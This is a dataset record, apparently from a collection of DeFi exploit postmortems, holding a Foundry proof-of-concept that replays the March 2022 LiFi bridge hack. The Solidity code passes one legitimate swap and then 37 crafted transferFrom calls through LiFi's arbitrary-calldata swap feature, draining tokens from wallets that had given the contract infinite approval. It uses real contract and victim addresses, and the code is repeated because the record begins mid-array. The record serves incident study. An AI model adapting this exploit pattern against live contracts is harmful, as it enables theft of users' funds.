approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd000000000000000000000000899cc16c88173de60f3c830d004507f8da3f975f000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e00000000000000000000000000000000000000000000000000000000256a21f1\",\n callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[28] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd000000000000000000000000acf65a171c67a7074ee671240967696ab5d1185f000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000000000000008de801a3\",\n callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[29] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd0000000000000000000000002e70c44b708028a925a8021723ac92fb641292df000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000000000000002540be40\",\n callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[30] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd000000000000000000000000b0d497a6cff14e0a0079d5feff0c51c929f5fc8d000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e0000000000000000000000000000000000000000000000412e421a86d8d8f62c\",\n callTo: 0x18aAA7115705e8be94bfFEBDE57Af9BFc265B998,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[31] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd00000000000000000000000026ab154c70aec017d78e6241da76949c37b171e2000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e0000000000000000000000000000000000000000000000007cc17a1fe0d54df3\",\n callTo: 0x7Fc66500c84A76Ad7e9c93437bFc5Ac33E2DDaE9,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[32] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd000000000000000000000000dba64f019c92649cf645d598322ae1ae2318e55b000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000001cf8379e3ed13620c0fb\",\n callTo: 0x8A9C67fee641579dEbA04928c4BC45F66e26343A,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[33] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd000000000000000000000000461e76a4fe9f27605d4097a646837c32f1ccc31c000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e00000000000000000000000000000000000000000000002024f6b417294747f9\",\n callTo: 0x6B175474E89094C44Da98b954EedeAC495271d0F,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[34] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd00000000000000000000000045f3fc38441b1aa7b60f8aad8954582b17c9503c000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000049ab7af30eb3094af1\",\n callTo: 0x6B175474E89094C44Da98b954EedeAC495271d0F,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[35] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd0000000000000000000000006e5c200a784ba062ab770e6d317637f2fc82e53d000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000122896df4db9525ea3d\",\n callTo: 0x6B175474E89094C44Da98b954EedeAC495271d0F,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[36] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd0000000000000000000000000bc06c67b5740b2cc0a54d9281a7bce5fd70984d000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000036a008c79eef365851\",\n callTo: 0x6B175474E89094C44Da98b954EedeAC495271d0F,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[37] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd0000000000000000000000000df4fde307f216a7da118ad7eaec500d42eecc5f000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e0000000000000000000000000000000000000000000000058dc1f67fb2f0f28a\",\n callTo: 0x6B175474E89094C44Da98b954EedeAC495271d0F,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n\n ILIFI.CBridgeData memory _cBridgeData = ILIFI.CBridgeData({\n amount: 40_000_000,\n dstChainId: 42_161,\n maxSlippage: 255_921,\n nonce: 1_647_074_829_664,\n receiver: 0x878099F08131a18Fab6bB0b4Cfc6B6DAe54b177E,\n token: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\n });\n\n ILIFI(lifi).swapAndStartBridgeTokensViaCBridge(_lifiData, _swapData, _cBridgeData);\n }\n}\n", "type": "exploit_poc", "protocol": "LiFi", "date": "2022-03", "file_name": "LiFi_exp.sol", "attack_vector": null, "content_hash": "bad2d0a54b823fa2", "collected_at": "2026-01-07T10:59:16.539308", "_source": "postmortems", "chain": "unknown", "block_number": 14420686, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n cheats.startPrank(from);\n\n // The Vulnerability\n // The hack took advantage of our pre-bridge swap feature. Our smart contract allows a caller to pass an array of multiple swaps using any address with arbitrary calldata.\n\n // This design gave us maximum flexibility in what DEXs we could call and what methods we could call. This also allowed anyone to call other contracts, not just DEXs. Our contract checks to make sure that the result of the swap or swaps is enough tokens to continue the bridging operation.\n\n // The attacker started by passing a legitimate swap of a small amount followed by multiple calls directly to various token contracts. Specifically, they called the `transferFrom` method which allowed the attacker to transfer funds from users\u2019 wallets that had previously given infinite approval to our contract for that specific token.\n ILIFI.LiFiData memory _lifiData = ILIFI.LiFiData({\n transactionId: 0x1438ff9dd1cf9c70002c3b3cbec9c4c1b3f9eb02e29bcac90289ab3ba360e605,\n integrator: \"li.finance\",\n referrer: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0xdAC17F958D2ee523a2206206994597C13D831ec7,\n receivingAssetId: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,\n receiver: 0x878099F08131a18Fab6bB0b4Cfc6B6DAe54b177E,\n destinationChainId: 42_161,\n amount: 50_000_000\n });\n ILIFI.SwapData[] memory _swapData = new ILIFI.SwapData[](38);\n _swapData[0] = ILIFI.SwapData({\n approveTo: 0xDef1C0ded9bec7F1a1670819833240f027b25EfF,\n callData: hex\"d9627aa400000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000002faf0800000000000000000000000000000000000000000000000000000000002625a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec7000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48\",\n // sellToUniswap(address[],uint256,uint256,bool)\n // {\n // \"tokens\":[\n // 0:\"0xdac17f958d2ee523a2206206994597c13d831ec7\"\n // 1:\"0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48\"\n // ]\n // \"sellAmount\":\"50000000\"\n // \"minBuyAmount\":\"40000000\"\n // \"isSushi\":false\n // }\n callTo: 0xDef1C0ded9bec7F1a1670819833240f027b25EfF,\n fromAmount: 50_000_000,\n receivingAssetId: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,\n sendingAssetId: 0xdAC17F958D2ee523a2206206994597C13D831ec7 // fromAssetId\n // if (!LibAsset.isNativeAsset(fromAssetId) && LibAsset.getOwnBalance(fromAssetId) < fromAmount) {\n // LibAsset.transferFromERC20(_swapData.sendingAssetId, msg.sender, address(this), fromAmount);\n // }\n });\n\n // if (!LibAsset.isNativeAsset(fromAssetId)) {\n // LibAsset.approveERC20(IERC20(fromAssetId), _swapData.approveTo, fromAmount);\n // }\n\n // // solhint-disable-next-line avoid-low-level-calls\n // (bool success, bytes memory res) = _swapData.callTo.call{ value: msg.value }(_swapData.callData);\n\n _swapData[1] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd000000000000000000000000445c21166a3cb20b14fa84cfc5d122f6bd3ffa17000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e0000000000000000000000000000000000000000000000a4a88a24badca2e52e\", // transferFrom(address,address,uint256)\n callTo: 0x7D1AfA7B718fb893dB30A3aBc0Cfc608AaCfeBB0,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[2] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd0000000000000000000000009b36f2bc04cd5b8a38715664263a3b3b856bc1cf000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000005d38a3a4feb066cdb\",\n callTo: 0x7D1AfA7B718fb893dB30A3aBc0Cfc608AaCfeBB0,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[3] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd0000000000000000000000005a7517b2a3a390aaec27d24b1621d0b9d7898dd4000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e0000000000000000000000000000000000000000000000026e91d77e24f35800\",\n callTo: 0xB4EFd85c19999D84251304bDA99E90B92300Bd93,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[4] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd0000000000000000000000009241f27daffd0bb1df4f2a022584dd6c77843e64000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e0000000000000000000000000000000000000000000000000d1b335f4a843b00\",\n callTo: 0x6810e776880C02933D47DB1b9fc05908e5386b96,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[5] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd0000000000000000000000008de133a0859b847623c282b4dc5e18de5dbfd7d1000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e0000000000000000000000000000000000000000000000000000002a3c4547b2\",\n callTo: 0xdAC17F958D2ee523a2206206994597C13D831ec7,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[6] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd0000000000000000000000009241f27daffd0bb1df4f2a022584dd6c77843e64000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e0000000000000000000000000000000000000000000000000000001c15d7994f\",\n callTo: 0xdAC17F958D2ee523a2206206994597C13D831ec7,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[7] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd000000000000000000000000d92b2a99da006e72b48a14e4c23766e22b4ce395000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e00000000000000000000000000000000000000000000000000000002540be400\",\n callTo: 0xdAC17F958D2ee523a2206206994597C13D831ec7,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[8] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd000000000000000000000000ffd2a8f4275e76288d31dbb756ce0e6065a3d766000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000000000000010ad40bb4\",\n callTo: 0xdAC17F958D2ee523a2206206994597C13D831ec7,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[9] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd0000000000000000000000007c89a5373312f9a02dd5c5834b4f2e3e6ce1cd96000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e0000000000000000000000000000000000000000000000000000000c13102d87\",\n callTo: 0xdAC17F958D2ee523a2206206994597C13D831ec7,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[10] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd0000000000000000000000005b9e4d0dd21f4e071729a9eb522a2366abed149a000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e0000000000000000000000000000000000000000000000000000000016e1996e\",\n callTo: 0xdAC17F958D2ee523a2206206994597C13D831ec7,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[11] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd000000000000000000000000684abeba554fdb4a5dae32d652f198e25b64dc6e000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e0000000000000000000000000000000000000000000000000000000000000000\",\n callTo: 0xdAC17F958D2ee523a2206206994597C13D831ec7,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[12] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd00000000000000000000000015697225d98885a4b007381ccf0006270d851a35000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e0000000000000000000000000000000000000000000000013e81d656f96060f4\",\n callTo: 0x72e364F2ABdC788b7E918bc238B21f109Cd634D7,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[13] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd000000000000000000000000dffd8bbf8dcaf236c4e009ff6013bfc98407b6c0000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000000000000003b9aca00\",\n callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[14] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd0000000000000000000000002182e4f2034bf5451f168d0643b2083150ab7931000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000000000000002341895c\",\n callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[15] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd000000000000000000000000195b8b9598904b55e9770492bd697529492034a2000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000000000000003d7ffdf1\",\n callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[16] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd0000000000000000000000005b7ab4b4b4768923cddef657084223528c807963000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000000000000002e28786b\",\n callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[17] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd00000000000000000000000080e7ed83354833aa7b87988f7e0426cffe238a83000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000000000000003ba2ff5a\",\n callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[18] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd0000000000000000000000000586fcc2d0d400596ff326f30debaa3a79e33c25000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e0000000000000000000000000000000000000000000000000000000000000000\",\n callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[19] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd000000000000000000000000cc77df7e9959c60e7ec427367e1ae6e2720d6735000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000000000000012f226a2a\",\n callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[20] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd00000000000000000000000045372cce828e185bfb008942cfe42a4c5cc76a75000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000000000000000b01afa3\",\n callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[21] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd00000000000000000000000014b2af25e47f590a145aad5be781687ca20edd97000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000000000000005c486b90\",\n callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[22] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd0000000000000000000000003942ae3782fbd658cc19a8db602d937baf7cb57a000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e0000000000000000000000000000000000000000000000000000000122ddf27c\",\n callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[23] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd000000000000000000000000461e76a4fe9f27605d4097a646837c32f1ccc31c000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000000000000039021c46d\",\n callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[24] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd00000000000000000000000000dacfd769bc30e4f64805761707573cb710552c000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e00000000000000000000000000000000000000000000000000000000b3ee10b4\",\n callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[25] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd000000000000000000000000e5aedd6520c4d4e0cb4ee78784a0187d34d55adc000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000000000000002f033358\",\n callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[26] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd000000000000000000000000574a782a00dd152d98ff85104f723575d870698e000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e00000000000000000000000000000000000000000000000000000025fdc6ab6c\",\n callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[27] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd000000000000000000000000899cc16c88173de60f3c830d004507f8da3f975f000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e00000000000000000000000000000000000000000000000000000000256a21f1\",\n callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[28] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd000000000000000000000000acf65a171c67a7074ee671240967696ab5d1185f000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000000000000008de801a3\",\n callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[29] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd0000000000000000000000002e70c44b708028a925a8021723ac92fb641292df000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000000000000002540be40\",\n callTo: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[30] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd000000000000000000000000b0d497a6cff14e0a0079d5feff0c51c929f5fc8d000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e0000000000000000000000000000000000000000000000412e421a86d8d8f62c\",\n callTo: 0x18aAA7115705e8be94bfFEBDE57Af9BFc265B998,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[31] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd00000000000000000000000026ab154c70aec017d78e6241da76949c37b171e2000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e0000000000000000000000000000000000000000000000007cc17a1fe0d54df3\",\n callTo: 0x7Fc66500c84A76Ad7e9c93437bFc5Ac33E2DDaE9,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[32] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd000000000000000000000000dba64f019c92649cf645d598322ae1ae2318e55b000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000001cf8379e3ed13620c0fb\",\n callTo: 0x8A9C67fee641579dEbA04928c4BC45F66e26343A,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[33] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd000000000000000000000000461e76a4fe9f27605d4097a646837c32f1ccc31c000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e00000000000000000000000000000000000000000000002024f6b417294747f9\",\n callTo: 0x6B175474E89094C44Da98b954EedeAC495271d0F,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[34] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd00000000000000000000000045f3fc38441b1aa7b60f8aad8954582b17c9503c000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000049ab7af30eb3094af1\",\n callTo: 0x6B175474E89094C44Da98b954EedeAC495271d0F,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[35] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd0000000000000000000000006e5c200a784ba062ab770e6d317637f2fc82e53d000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000122896df4db9525ea3d\",\n callTo: 0x6B175474E89094C44Da98b954EedeAC495271d0F,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[36] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd0000000000000000000000000bc06c67b5740b2cc0a54d9281a7bce5fd70984d000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e000000000000000000000000000000000000000000000036a008c79eef365851\",\n callTo: 0x6B175474E89094C44Da98b954EedeAC495271d0F,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n _swapData[37] = ILIFI.SwapData({\n approveTo: 0x0000000000000000000000000000000000000000,\n callData: hex\"23b872dd0000000000000000000000000df4fde307f216a7da118ad7eaec500d42eecc5f000000000000000000000000878099f08131a18fab6bb0b4cfc6b6dae54b177e0000000000000000000000000000000000000000000000058dc1f67fb2f0f28a\",\n callTo: 0x6B175474E89094C44Da98b954EedeAC495271d0F,\n fromAmount: 0,\n receivingAssetId: 0x0000000000000000000000000000000000000000,\n sendingAssetId: 0x0000000000000000000000000000000000000000\n });\n\n ILIFI.CBridgeData memory _cBridgeData = ILIFI.CBridgeData({\n amount: 40_000_000,\n dstChainId: 42_161,\n maxSlippage: 255_921,\n nonce: 1_647_074_829_664,\n receiver: 0x878099F08131a18Fab6bB0b4Cfc6B6DAe54b177E,\n token: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\n });\n\n ILIFI(lifi).swapAndStartBridgeTokensViaCBridge(_lifiData, _swapData, _cBridgeData);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 5, "quality_estimate": "medium", "title": "LiFi Exploit (2022-03)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, 